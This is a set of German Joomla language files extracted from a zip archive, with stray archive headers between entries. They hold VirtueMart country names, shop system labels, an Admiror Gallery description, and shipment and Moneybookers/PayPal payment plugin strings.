COM_VIRTUEMART_COUNTRY_JAM="Jamaika" COM_VIRTUEMART_COUNTRY_JPN="Japan" COM_VIRTUEMART_COUNTRY_YEM="Jemen" COM_VIRTUEMART_COUNTRY_JEY="Jersey" COM_VIRTUEMART_COUNTRY_JOR="Jordanien" COM_VIRTUEMART_COUNTRY_CYM="Kaimaninseln" COM_VIRTUEMART_COUNTRY_KHM="Kambodscha" COM_VIRTUEMART_COUNTRY_CMR="Kamerun" COM_VIRTUEMART_COUNTRY_CAN="Kanada" COM_VIRTUEMART_COUNTRY_CPV="Kap Verde, Republik" COM_VIRTUEMART_COUNTRY_KAZ="Kasachstan" COM_VIRTUEMART_COUNTRY_QAT="Katar" COM_VIRTUEMART_COUNTRY_KEN="Kenia" COM_VIRTUEMART_COUNTRY_KGZ="Kirgisistan" COM_VIRTUEMART_COUNTRY_KIR="Kiribati" COM_VIRTUEMART_COUNTRY_CCK="Kokosinseln" COM_VIRTUEMART_COUNTRY_COL="Kolumbien" COM_VIRTUEMART_COUNTRY_COM="Komoren" COM_VIRTUEMART_COUNTRY_COD="Kongo, Demokratische Republik" COM_VIRTUEMART_COUNTRY_COG="Kongo, Republik" COM_VIRTUEMART_COUNTRY_PRK="Korea, Demokratische Volkrepublik" COM_VIRTUEMART_COUNTRY_KOR="Korea, Republik" COM_VIRTUEMART_COUNTRY_HRV="Kroatien" COM_VIRTUEMART_COUNTRY_CUB="Kuba" COM_VIRTUEMART_COUNTRY_KWT="Kuwait" COM_VIRTUEMART_COUNTRY_LAO="Laos" COM_VIRTUEMART_COUNTRY_LSO="Lesotho" COM_VIRTUEMART_COUNTRY_LVA="Lettland" COM_VIRTUEMART_COUNTRY_LBN="Libanon" COM_VIRTUEMART_COUNTRY_LBR="Liberia, Republik" COM_VIRTUEMART_COUNTRY_LBY="Libyen" COM_VIRTUEMART_COUNTRY_LIE="Liechtenstein, Fürstentum" COM_VIRTUEMART_COUNTRY_LTU="Litauen" COM_VIRTUEMART_COUNTRY_LUX="Luxemburg" COM_VIRTUEMART_COUNTRY_MAC="Macao" COM_VIRTUEMART_COUNTRY_MDG="Madagaskar, Republik" COM_VIRTUEMART_COUNTRY_MWI="Malawi, Republik" COM_VIRTUEMART_COUNTRY_MYS="Malaysia" COM_VIRTUEMART_COUNTRY_MDV="Malediven" COM_VIRTUEMART_COUNTRY_MLI="Mali, Republik" COM_VIRTUEMART_COUNTRY_MLT="Malta" COM_VIRTUEMART_COUNTRY_MAR="Marokko" COM_VIRTUEMART_COUNTRY_MHL="Marshallinseln" COM_VIRTUEMART_COUNTRY_MTQ="Martinique" COM_VIRTUEMART_COUNTRY_MRT="Mauretanien" COM_VIRTUEMART_COUNTRY_MUS="Mauritius, Republik" COM_VIRTUEMART_COUNTRY_MYT="Mayotte" COM_VIRTUEMART_COUNTRY_MKD="Mazedonien" COM_VIRTUEMART_COUNTRY_MEX="Mexiko" COM_VIRTUEMART_COUNTRY_FSM="Mikronesien, Föderierte Staaten von" COM_VIRTUEMART_COUNTRY_MDA="Moldawien" COM_VIRTUEMART_COUNTRY_MCO="Monaco" COM_VIRTUEMART_COUNTRY_MNG="Mongolei" COM_VIRTUEMART_COUNTRY_MNE="Montenegro" COM_VIRTUEMART_COUNTRY_MSR="Montserrat" COM_VIRTUEMART_COUNTRY_MOZ="Mosambik" COM_VIRTUEMART_COUNTRY_MMR="Myanmar" COM_VIRTUEMART_COUNTRY_NAM="Namibia, Republik" COM_VIRTUEMART_COUNTRY_NRU="Nauru" COM_VIRTUEMART_COUNTRY_NPL="Nepal" COM_VIRTUEMART_COUNTRY_NCL="Neukaledonien" COM_VIRTUEMART_COUNTRY_NZL="Neuseeland" COM_VIRTUEMART_COUNTRY_NIC="Nicaragua" COM_VIRTUEMART_COUNTRY_NLD="Niederlande" COM_VIRTUEMART_COUNTRY_NER="Niger" COM_VIRTUEMART_COUNTRY_NGA="Nigeria" COM_VIRTUEMART_COUNTRY_NIU="Niue" COM_VIRTUEMART_COUNTRY_MNP="Nördliche Marianen" COM_VIRTUEMART_COUNTRY_NFK="Norfolkinsel" COM_VIRTUEMART_COUNTRY_NOR="Norwegen" COM_VIRTUEMART_COUNTRY_OMN="Oman" COM_VIRTUEMART_COUNTRY_AUT="Österreich" COM_VIRTUEMART_COUNTRY_PAK="Pakistan" COM_VIRTUEMART_COUNTRY_PSE="Palästinensische Autonomiegebiete" COM_VIRTUEMART_COUNTRY_PLW="Palau" COM_VIRTUEMART_COUNTRY_PAN="Panama" COM_VIRTUEMART_COUNTRY_PNG="Papua-Neuguinea" COM_VIRTUEMART_COUNTRY_PRY="Paraguay" COM_VIRTUEMART_COUNTRY_PER="Peru" COM_VIRTUEMART_COUNTRY_PHL="Philippinen" COM_VIRTUEMART_COUNTRY_PCN="Pitcairninseln" COM_VIRTUEMART_COUNTRY_POL="Polen" COM_VIRTUEMART_COUNTRY_PRT="Portugal" COM_VIRTUEMART_COUNTRY_PRI="Puerto Rico" COM_VIRTUEMART_COUNTRY_REU="Réunion" COM_VIRTUEMART_COUNTRY_RWA="Ruanda, Republik" COM_VIRTUEMART_COUNTRY_ROU="Rumänien" COM_VIRTUEMART_COUNTRY_RUS="Russische Föderation" COM_VIRTUEMART_COUNTRY_SLB="Salomonen" COM_VIRTUEMART_COUNTRY_ZMB="Sambia, Republik" COM_VIRTUEMART_COUNTRY_WSM="Samoa" COM_VIRTUEMART_COUNTRY_SMR="San Marino" COM_VIRTUEMART_COUNTRY_STP="São Tomé und Príncipe" COM_VIRTUEMART_COUNTRY_SAU="Saudi-Arabien, Königreich" COM_VIRTUEMART_COUNTRY_SWE="Schweden" COM_VIRTUEMART_COUNTRY_CHE="Schweiz" COM_VIRTUEMART_COUNTRY_SEN="Senegal" COM_VIRTUEMART_COUNTRY_SRB="Serbien" COM_VIRTUEMART_COUNTRY_SYC="Seychellen, Republik der" COM_VIRTUEMART_COUNTRY_SLE="Sierra Leone, Republik" COM_VIRTUEMART_COUNTRY_ZWE="Simbabwe, Republik" COM_VIRTUEMART_COUNTRY_SGP="Singapur" COM_VIRTUEMART_COUNTRY_SVK="Slowakei" COM_VIRTUEMART_COUNTRY_SVN="Slowenien" COM_VIRTUEMART_COUNTRY_SOM="Somalia, Demokratische Republik" COM_VIRTUEMART_COUNTRY_ESP="Spanien" COM_VIRTUEMART_COUNTRY_LKA="Sri Lanka" COM_VIRTUEMART_COUNTRY_BLM="St. Barthélemy" COM_VIRTUEMART_COUNTRY_SHN="St. Helena" COM_VIRTUEMART_COUNTRY_KNA="St. Kitts und Nevis" COM_VIRTUEMART_COUNTRY_LCA="St. Lucia" COM_VIRTUEMART_COUNTRY_MAF="St. Martin (Französische Antillen)" COM_VIRTUEMART_COUNTRY_SXM="St. Martin (Niederländische Antillen)" COM_VIRTUEMART_COUNTRY_SPM="St. Pierre und Miquelon" COM_VIRTUEMART_COUNTRY_VCT="St. Vincent und die Grenadinen (GB)" COM_VIRTUEMART_COUNTRY_ZAF="Südafrika, Republik" COM_VIRTUEMART_COUNTRY_SDN="Sudan" COM_VIRTUEMART_COUNTRY_SGS="Südgeorgien und die Südlichen Sandwichinseln" COM_VIRTUEMART_COUNTRY_SSD="Südsudan" COM_VIRTUEMART_COUNTRY_SUR="Suriname" COM_VIRTUEMART_COUNTRY_SJM="Svalbard und Jan Mayen" COM_VIRTUEMART_COUNTRY_SWZ="Swasiland" COM_VIRTUEMART_COUNTRY_SYR="Syrien" COM_VIRTUEMART_COUNTRY_TJK="Tadschikistan" COM_VIRTUEMART_COUNTRY_TWN="Taiwan" COM_VIRTUEMART_COUNTRY_TZA="Tansania, Vereinigte Republik" COM_VIRTUEMART_COUNTRY_THA="Thailand" COM_VIRTUEMART_COUNTRY_TLS="Timor-Leste, Demokratische Republik" COM_VIRTUEMART_COUNTRY_TGO="Togo, Republik" COM_VIRTUEMART_COUNTRY_TKL="Tokelau" COM_VIRTUEMART_COUNTRY_TON="Tonga" COM_VIRTUEMART_COUNTRY_TTO="Trinidad und Tobago" COM_VIRTUEMART_COUNTRY_TAA="Tristan da Cunha" COM_VIRTUEMART_COUNTRY_TCD="Tschad, Republik" COM_VIRTUEMART_COUNTRY_CZE="Tschechische Republik" COM_VIRTUEMART_COUNTRY_TUN="Tunesien" COM_VIRTUEMART_COUNTRY_TUR="Türkei" COM_VIRTUEMART_COUNTRY_TKM="Turkmenistan" COM_VIRTUEMART_COUNTRY_TCA="Turks- und Caicosinseln" COM_VIRTUEMART_COUNTRY_TUV="Tuvalu" COM_VIRTUEMART_COUNTRY_UGA="Uganda, Republik" COM_VIRTUEMART_COUNTRY_UKR="Ukraine" COM_VIRTUEMART_COUNTRY_HUN="Ungarn" COM_VIRTUEMART_COUNTRY_URY="Uruguay" COM_VIRTUEMART_COUNTRY_UZB="Usbekistan" COM_VIRTUEMART_COUNTRY_VUT="Vanuatu" COM_VIRTUEMART_COUNTRY_VAT="Vatikanstadt" COM_VIRTUEMART_COUNTRY_VEN="Venezuela" COM_VIRTUEMART_COUNTRY_ARE="Vereinigte Arabische Emirate" COM_VIRTUEMART_COUNTRY_USA="Vereinigte Staaten von Amerika" COM_VIRTUEMART_COUNTRY_UMI="Vereinigte Staaten von Amerika kleinere Überseeinseln" COM_VIRTUEMART_COUNTRY_GBR="Vereinigtes Königreich von Großbritannien und Nordirland" COM_VIRTUEMART_COUNTRY_VNM="Vietnam" COM_VIRTUEMART_COUNTRY_WLF="Wallis und Futuna" COM_VIRTUEMART_COUNTRY_CXR="Weihnachtsinsel" COM_VIRTUEMART_COUNTRY_BLR="Weißrussland" COM_VIRTUEMART_COUNTRY_ESH="Westsahara" COM_VIRTUEMART_COUNTRY_CAF="Zentralafrikanische Republik" COM_VIRTUEMART_COUNTRY_CYP="Zypern, Republik"PK@y>\F}}+language/de-DE/de-DE.com_virtuemart.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM ; System COM_VIRTUEMART="VirtueMart" COM_VIRTUEMART_DESCRIPTION="Online-Shop / Komplettes E-Kommerz System für Joomla 1.5+" COM_VIRTUEMART_INSTALLATION_SUCCESSFUL="Die Installation war ERFOLGREICH" COM_VIRTUEMART_INSTALL_DONATION="Bitte erwägen Sie eine kleine Spende um die Weiterentwicklung dieser Komponente zu ermöglichen." COM_VIRTUEMART_INSTALL_FURTHER_HELP="Besuchen Sie 'Besuchen Sie VirtueMart zwecks weiterer Hilfe" COM_VIRTUEMART_INSTALL_GO_SHOP="Shop aufrufen" COM_VIRTUEMART_INSTALL_SAMPLE_DATA="Beispieldaten installieren" COM_VIRTUEMART_MENU="VirtueMart" COM_VIRTUEMART_UNINSTALL_NOTE="Deinstallations-Hinweis:" COM_VIRTUEMART_UNINSTALL_NOTE_DESC="Die Deinstallation entfernt nicht die VirtueMart Tabellen aus ihrer Datenbank. Das ist Absicht, um die Aktualisierung ihrer Daten auf neue VirtueMart Versionen zu ermöglichen..
        Um die VirtueMart Tabellen zu entfernen, löschen Sie alle Tabellen mit dem _virtuemart_ prefix." COM_VIRTUEMART_UNINSTALL_THANKYOU="Vielen Dank das Sie VirtueMart benutzt haben!" COM_VIRTUEMART_UPGRADE_SUCCESSFUL="Das Update war erfolgreich" VIRTUEMART="VirtueMart" ; components/com_virtuemart/views/cart/tmpl/default.xml COM_VIRTUEMART_CART_VIEW_DEFAULT_DESC="Zeigt den Warenkorb an" COM_VIRTUEMART_CART_VIEW_DEFAULT_TITLE="VirtueMart Warenkorb" ; components/com_virtuemart/views/cart/tmpl/minicart.xml COM_VIRTUEMART_MINICART_DESC="Zeigt den VirtueMart minicart" COM_VIRTUEMART_MINICART_MENU="VirtueMart mini cart" ; components/com_virtuemart/views/categories/tmpl/default.xml COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_DESC="Bestimmt die Stammkategorie" COM_VIRTUEMART_CATEGORIES_VIEW_DEFAULT_TITLE="VirtueMart Kategorien Layout" ; components/com_virtuemart/views/category/tmpl/default.xml COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_DESC="Zeigt eine einzelne VirtueMart Kategorie" COM_VIRTUEMART_CATEGORY_VIEW_DEFAULT_TITLE="Kategorie Layout" COM_VIRTUEMART_SELECT_CATEGORY="Wählen Sie eine Kategorie" ; components/com_virtuemart/views/manufacturer/tmpl/defaut.xml COM_VIRTUEMART_MANUFACTURER_FIELD_SELECT_TITLE="Wählen Sie einen Hersteller" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_DESC="Zeigt die Herstellerliste in VirtueMart" COM_VIRTUEMART_MANUFACTURER_VIEW_DEFAULT_TITLE="VirtueMart Hersteller Standard-Layout" ; components/com_virtuemart/views/manufacturer/tmpl/details.xml COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_DESC="Zeigt einen einzelnen VirtueMart Hersteller" COM_VIRTUEMART_MANUFACTURER_VIEW_DETAILS_TITLE="VirtueMart Hersteller Details Layout" ; components/com_virtuemart/views/orders/tmpl/details.xml COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_DESC="Alle VirtueMart Bestellungen auflisten" COM_VIRTUEMART_ORDERS_VIEW_DEFAULT_TITLE="VirtueMart Bestellungen auflisten" ; components/com_virtuemart/views/productdetails/tmpl/default.xml COM_VIRTUEMART_PRODUCTDETAILS_CHANGE_PRODUCT_BUTTON="Ändern" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT="Wählen Sie ein Produkt" COM_VIRTUEMART_PRODUCTDETAILS_FIELD_SELECT_DESC="Erstellt einen Link zur Anzeige des ausgewählten Produktes" COM_VIRTUEMART_PRODUCTDETAILS_PRODUCT="Produkt" COM_VIRTUEMART_PRODUCTDETAILS_TO_SET_PRODUCT_VIEW="Um die Produktansicht festzulegen" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_DESC="Zeigt ein einzelnes Produkt" COM_VIRTUEMART_PRODUCTDETAILS_VIEW_DEFAULT_TITLE="VirtueMart Produktdetails Layout" ; components/com_virtuemart/views/recommend/tmpl/edit.xml ;COM_VIRTUEMART_RECCOMEND_MENU="VirtueMart Account Maintenance" ;COM_VIRTUEMART_RECOMMEND_MENU_DESC="Displays the VirtueMart Customer Account Maintenance" ; components/com_virtuemart/views/user/tmpl/edit.xml COM_VIRTUEMART_USER_VIEW_DEFAULT_DESC="Zeigt die VirtueMart Kunden-Kontopflege" COM_VIRTUEMART_USER_VIEW_DEFAULT_TITLE="VirtueMart Kontenpflege" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_TITLE="Kundenadresse bearbeiten" COM_VIRTUEMART_USER_EDITADDRESS_VIEW_DEFAULT_DESC="Zeigt die Kundenadresse zwecks Bearbeitung an" ; components/com_virtuemart/views/virtuemart/tmpl/default.xml COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE="VirtueMart Startseite" COM_VIRTUEMART_VIRTUEMART_VIEW_DEFAULT_TITLE_DESC="Zeigt die VirtueMart Startseite" ; components/com_virtuemart/views/vendor/tmpl/ COM_VIRTUEMART_VENDOR_FIELD_SELECT_DESC="Wählen Sie einen Anbieter" COM_VIRTUEMART_VENDOR_FIELD_SELECT_TITLE="Wählen Sie einen Anbieter" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_DESC="Zeigt die Kontaktseite des Verkäufers an" COM_VIRTUEMART_VENDOR_VIEW_CONTACT_TITLE="Zeigt den Verkäuferkontakt an" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_DESC="Zeigt VirtueMart Anbieter an" COM_VIRTUEMART_VENDOR_VIEW_DEFAULT_TITLE="Zeigt VirtueMart Anbieter an" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_DESC="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_DETAILS_TITLE="Zeigt VirtueMart Anbieter Informationen an" COM_VIRTUEMART_VENDOR_VIEW_TOS_DESC="AGB des Anbieters ansehen" COM_VIRTUEMART_VENDOR_VIEW_TOS_TITLE="AGB des Anbieters ansehen" PK@y>\˥Kihh/language/de-DE/de-DE.com_admirorgallery.sys.ininuW+A; version 1.5.x 2005-10-30 14:10:00 ; Joomla! Project ; copyright Copyright (C) 2005 - 2006 Open Source Matters. All rights reserved. ; license http://www.gnu.org/copyleft/gpl.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 COM_ADMIRORGALLERY_DESCRIPTION="

        Admiror Galerie

        Admiror Galerie erstellt Bildgalerien aus Verzeichnissen mit Bildern. jpg, jpeg, png and gif Bilder werden unterstützt.

        Erstellen sie ein Verzeichnis innerhalb des Hauptverzeichnisses und plazieren sie Ihre Bilder dort. Das Hauptverzeichnis ist normalerweise das Verzeichnis /images/sampledata/.

        Plazieren sie {AG}name_of_your_folder{/AG} innerhalb ihres Artikels.

        Vorschaubilder werden automatisch erstellt wenn der Benutzer die Seite mit der Admirorgalerie öffnet und neue oder veränderte Bilder gefunden werden. Um Änderungen auszuführen, empfehlen wir dem Administrator statt des Benutzers die Admirorgalerie zu öffnen. Die Admirorgalerie besteht aus 3 Hauptelementen: Vorlagen, Popups und Bildverwaltung.

        Für weitere Informationen besuchen sie Admiror Galerie Webseite or Admiror Galerie Kommune.

        Vorlagen sind das Standard Erscheinungsbild der Galerie. Normalerweise ist es ein Satz kleiner Vorschaubilder mit Beschreibungen.

        Popups sind Rahmen die eine große Version des Bildes anzeigen, welches durch klicken auf ein Vorschaubild ausgeführt wird.

        Bildverwaltung ermöglicht ihnen, Bilder hinzuzufügen, zu löschen oder umzubenennen, sie können eine Bildbeschreibung und sogar verschiedene Beschreibungen für jede installierte Sprache eingeben.

        Copyright

        Admiror Galerie ist freie Software. Sie können es unter den Bedingungen der GNU General Public License wie von der Free Software Foundation herausgegeben weiterverteilen und/oder verändern. Entweder Version 3, oder (wenn sie wollen) irgendeine spätere Version.

        * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.


        " COM_ADMIRORGALLERY="Admiror Galerie" COM_ADMIRORGALLERY_CONTROL_PANEL="Kontrollzentrum" COM_ADMIRORGALLERY_TEMPLATES="Vorlagen" COM_ADMIRORGALLERY_POPUPS="Popups" COM_ADMIRORGALLERY_IMAGE_MANAGER="Bildverwaltung" COM_ADMIRORGALLERY_IMAGE_MANAGER_DESC= "Bildverwaltungswerkzeuge für Bildgalerie." COM_ADMIRORGALLERY_LAYOUT = "Galerie erstellen" COM_ADMIRORGALLERY_LAYOUT_DESC = "Galerie Seiteneinstellungen." COM_ADMIRORGALLERY_DESC="Übernehmen
        ctrl+enter" COM_ADMIRORGALLERY_DESC="Zurücksetzen
        ctrl+backspace" ;Component Front-End AG_ENTER_GALLERY_NAME_DESC="Name des Galerieverzeichnis eingeben" AG_ENTER_GALLERY_NAME="Galerie auswählen" PK@y>\8language/de-DE/de-DE.plg_vmshipment_weight_countries.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valerie Isaksen ; @package VMSHIPMENT ; @subpackage VirtueMart Shipment VMSHIPMENT_WEIGHT_COUNTRIES="VM Versender-Plugin Gewicht/Länder" VMSHIPMENT_WEIGHT_COUNTRIES_AMOUNT_CONDITION_WRONG="Die Bedingung für den Betrag ist falsch: 'Mindestbestellwert' muss kleiner sein als der 'Maximaler Bestellwert'" VMSHIPMENT_WEIGHT_COUNTRIES_COST="Versandtarif Betrag" VMSHIPMENT_WEIGHT_COUNTRIES_COST_DESC="Versandtarifbetrag, der auf alle Bestellungen angewandt wird, bei denen das Gewicht zwischen dem Mindestgewicht und dem Höchstgewicht liegt" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES="Länder" VMSHIPMENT_WEIGHT_COUNTRIES_COUNTRIES_DESC="Bitte wählen Sie die Länder, für die dieser Tarif gilt. Falls kein Land ausgewählt ist, wird dieser Tarif für alle Länder angewendet" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY="Währung" VMSHIPMENT_WEIGHT_COUNTRIES_CURRENCY_DESC="Währung für die Kosten" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT="Mindestbetrag für kostenlosen Versand" VMSHIPMENT_WEIGHT_COUNTRIES_FREE_SHIPPING_AMOUNT_DESC="Mindestbestellwert für kostenlosen Versand" VMSHIPMENT_WEIGHT_COUNTRIES_LOGOS="Logo" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_CONDITION_WRONG="Die Bedingung für die Anzahl der Produkte ist falsch: Die 'Mindestanzahl der Produkte' muss kleiner sein als die 'Maximale Anzahl der Produkte'" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START="Mindestanzahl von Produkten" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_START_DESC="Mindestanzahl von Produkten" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP="Maximale Anzahl von Produkten" VMSHIPMENT_WEIGHT_COUNTRIES_NBPRODUCTS_STOP_DESC="Maximale Anzahl von Produkten" VMSHIPMENT_WEIGHT_COUNTRIES_NUMERIC="Der '%s' muss numerisch sein" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START="Mindestbestellwert" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_START_DESC="Mindestbestellwert" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP="Maximaler Bestellwert" VMSHIPMENT_WEIGHT_COUNTRIES_ORDERAMOUNT_STOP_DESC="Maximaler Bestellwert" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE="Verpackungsgebühr" VMSHIPMENT_WEIGHT_COUNTRIES_PACKAGE_FEE_DESC="Verpackungsgebühr" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN="Versand bezogen auf Gewicht, Postleitzahl und Länder" VMSHIPMENT_WEIGHT_COUNTRIES_PLUGIN_DESC="Versandtarif basierend auf der Gewichts- und Länderangabe" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME="Versandtarif Bezeichnung" VMSHIPMENT_WEIGHT_COUNTRIES_SHIPPING_NAME_DESC="Im Frontend angezeigte Versandtarif Bezeichnung" VMSHIPMENT_WEIGHT_COUNTRIES_TAX="MwSt." VMSHIPMENT_WEIGHT_COUNTRIES_TAX_DESC="MwSt. auf die Versandkosten" VMSHIPMENT_WEIGHT_COUNTRIES_VALUE="Gebührenbetrag" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION="Versandtarif Beschreibung" ;VMSHIPMENT_WEIGHT_COUNTRIES_VIRTUEMART_DESCRIPTION_DESC="Versandtarif Beschreibung, welche der Verandtarif-Bezeichnung sowie dem Logo angefügt wird" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT="Gewicht" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_CONDITION_WRONG="Die Bedingung für das Gewicht ist falsch: Das 'Mindestgewicht' muss kleiner sein als das 'Höchstgewicht'" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START="Mindestgewicht" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_START_DESC="Bitte geben Sie das Mindestgewicht ein. Ohne Angabe des Mindestgewichtes wird die Mindestgewichts-Bedingung nicht angewandt" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP="Höchstgewicht" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_STOP_DESC="Bitte geben Sie das Höchstgewicht ein. Ohne Angabe des Höchstgewichtes wird die Höchstgewichts-Bedingung nicht angewandt" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT="Gewichtseinheit" VMSHIPMENT_WEIGHT_COUNTRIES_WEIGHT_UNIT_DESC="Die Gewichtseinheit, in der das Gewicht angegeben wird" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START="Niedrigste Postleitzahl" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_START_DESC="Bitte geben Sie den Anfangswert für die Postleitzahl ein. Ohne Angabe des Anfangs- und des Endwertes der Postleitzahlen wird die Postleitzahl-Bedingung nicht angewandt" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP="Höchste Postleitzahl" VMSHIPMENT_WEIGHT_COUNTRIES_ZIP_STOP_DESC="Bitte geben Sie den Endwert für die Postleitzahl ein. Ohne Angabe des Anfangs- und des Endwertes der Postleitzahlen wird die Postleitzahl-Bedingung nicht angewandt" PK@y>\, 3language/de-DE/de-DE.plg_vmpayment_moneybookers.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Skrill Holdings Ltd. ; @package VMPayment ; @subpackage VirtueMart payment Moneybookers ; Titles and headings VMPAYMENT_MONEYBOOKERS_ORDER_NUMBER="Bestellnummer" VMPAYMENT_MONEYBOOKERS_PAYMENT_TITLE="Moneybookers Händlerkonto Einstellungen" VMPAYMENT_MONEYBOOKERS_PAYMENT_WARNING="Achtung - In VM2 werden Emails nur bei einer abgeschlossenen Transaktion versendet." VMPAYMENT_MONEYBOOKERS_PAYMENT_SETTINGS="Konto Einstellungen" VMPAYMENT_MONEYBOOKERS_RESTRICTIONS="Restriktionen" VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUSES="Bezahlstatus" ; Fields and buttons labels VMPAYMENT_MONEYBOOKERS_LOGOS="Logos" VMPAYMENT_PAY_TO_EMAIL="Händler E-mail" VMPAYMENT_SECRET_WORD="Geheimwort" VMPAYMENT_LOGOURL="Händlerlogo URL" VMPAYMENT_MONEYBOOKERS_CURRENCY="Währung" VMPAYMENT_MONEYBOOKERS_COUNTRIES="Länder" VMPAYMENT_STATUS_PENDING="Status der Bezahlung für offene Bestellungen" VMPAYMENT_STATUS_SUCCESS="Status der Bezahlung für abgeschlossene Bestellungen" VMPAYMENT_STATUS_FAILED="Status der Bezahlung für abgelehnte Bestellungen" VMPAYMENT_MONEYBOOKERS_REDIRECT_MESSAGE="Bitte warten, Sie werden weitergeleitet" VMPAYMENT_HIDELOGIN="Loginfeld ausblenden" ; Descriptions/Tips of all fields VMPAYMENT_MONEYBOOKERS_LOGOS_DESC="Logos, die zusammen mit der Bezeichnung der Zahlungsmethode angezeigt werden sollen" VMPAYMENT_PAY_TO_EMAIL_DESC="E-Mail für das moneybookers.com Konto des Händlers" VMPAYMENT_SECRET_WORD_DESC="Das Geheimwort für die Validierung der Bezahlung darf nicht länger als 10 Zeichen sein" VMPAYMENT_LOGOURL_DESC="Die URL des Händlerlogos, welches auf dem Gateway angezeigt werden soll. Beispiel: http://www.example-merchant.com/logo.jpg" VMPAYMENT_MONEYBOOKERS_CURRENCY_DESC="Akzeptierte Währungen" VMPAYMENT_MONEYBOOKERS_COUNTRIES_DESC="Bitte wählen Sie die Länder für welche diese Zahlungsmethode gelten soll. Falls kein Land ausgewählt ist, wird die Zahlungsmethode für alle Länder angewendet" VMPAYMENT_HIDELOGIN_DESC="Händler können ihren Kunden die Gateway-Seite ohne die Loginmaske anzeigen." ; error messages VMPAYMENT_MONEYBOOKERS_ERROR_POSTING_IPN="Fehler bei der Statusübergabe von Moneybookers: %1s, %2d." VMPAYMENT_MONEYBOOKERS_DISPLAY_GWERROR="Zahlungen über Moneybookers sind momentan nicht verfügbar. Bitte kontaktieren Sie den Website-Administrator für weitere Informationen." VMPAYMENT_MONEYBOOKERS_PAYMENT_AMOUNT_INCORRECT="Zahlungsumme nicht korrekt." VMPAYMENT_MONEYBOOKERS_MERCHANT_EMAIL_NOT_SET="Keine Händler E-Mail angegeben." VMPAYMENT_MONEYBOOKERS_PAYMENT_CANCELLED="Zahlung über Moneybookers abgebrochen, Grund: " VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_CONFIRMED="Zahlung über Moneybookers für Bestellung %s war erfolgreich." VMPAYMENT_MONEYBOOKERS_PAYMENT_STATUS_PENDING="Zahlung über Moneybookers für Bestellung %s ist noch offen. Grund: " ; status message labels VMPAYMENT_MONEYBOOKERS_PAYMENT_NAME="Zahlungsmethode" VMPAYMENT_MB_PAY_TO_EMAIL="Händler E-mail" VMPAYMENT_MB_PAY_FROM_EMAIL="Kunden E-mail" VMPAYMENT_MB_MERCHANT_ID="Händler Kennnummer" VMPAYMENT_MB_TRANSACTION_ID="Transaktionsnummer" VMPAYMENT_MB_REC_PAYMENT_ID="Kennnummer für wiederkehrende Zahlung" VMPAYMENT_MB_REC_PAYMENT_TYPE="Art der wiederkehrenden Zahlung" VMPAYMENT_MB_AMOUNT="Summe" VMPAYMENT_MB_CURRENCY="Währung" VMPAYMENT_MB_STATUS="Status" VMPAYMENT_MB_MD5SIG="MD5 Signatur" VMPAYMENT_MB_SHA2SIG="SHA2 Signatur" PK@y>\R;R;-language/de-DE/de-DE.plg_vmpayment_paypal.ininuW+A; @date : $Date$ ; @Id $Id$ ; @Revision : $Revision$ ; @author Valérie Isaksen ; @package VMPayment ; @subpackage VirtueMart payment Paypal VMPAYMENT_PAYPAL="VM Zahlungs-Plugin Paypal" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE="Käufern erlauben, ihre PayPal Adresse zu überschreiben?" VMPAYMENT_PAYPAL_ADDRESS_OVERRIDE_DESC="Die mit automatischen Eingabe-Variablen eingegebene Adresse überschreibt die gespeicherte PayPal Adresse des PayPal Mitgliedes. Käufer sehen die automatisch ausgefüllte Adresse, können diese aber nicht verändern. PayPal zeigt Adressen nicht an, wenn diese ungültig sind oder weggelassen werden." 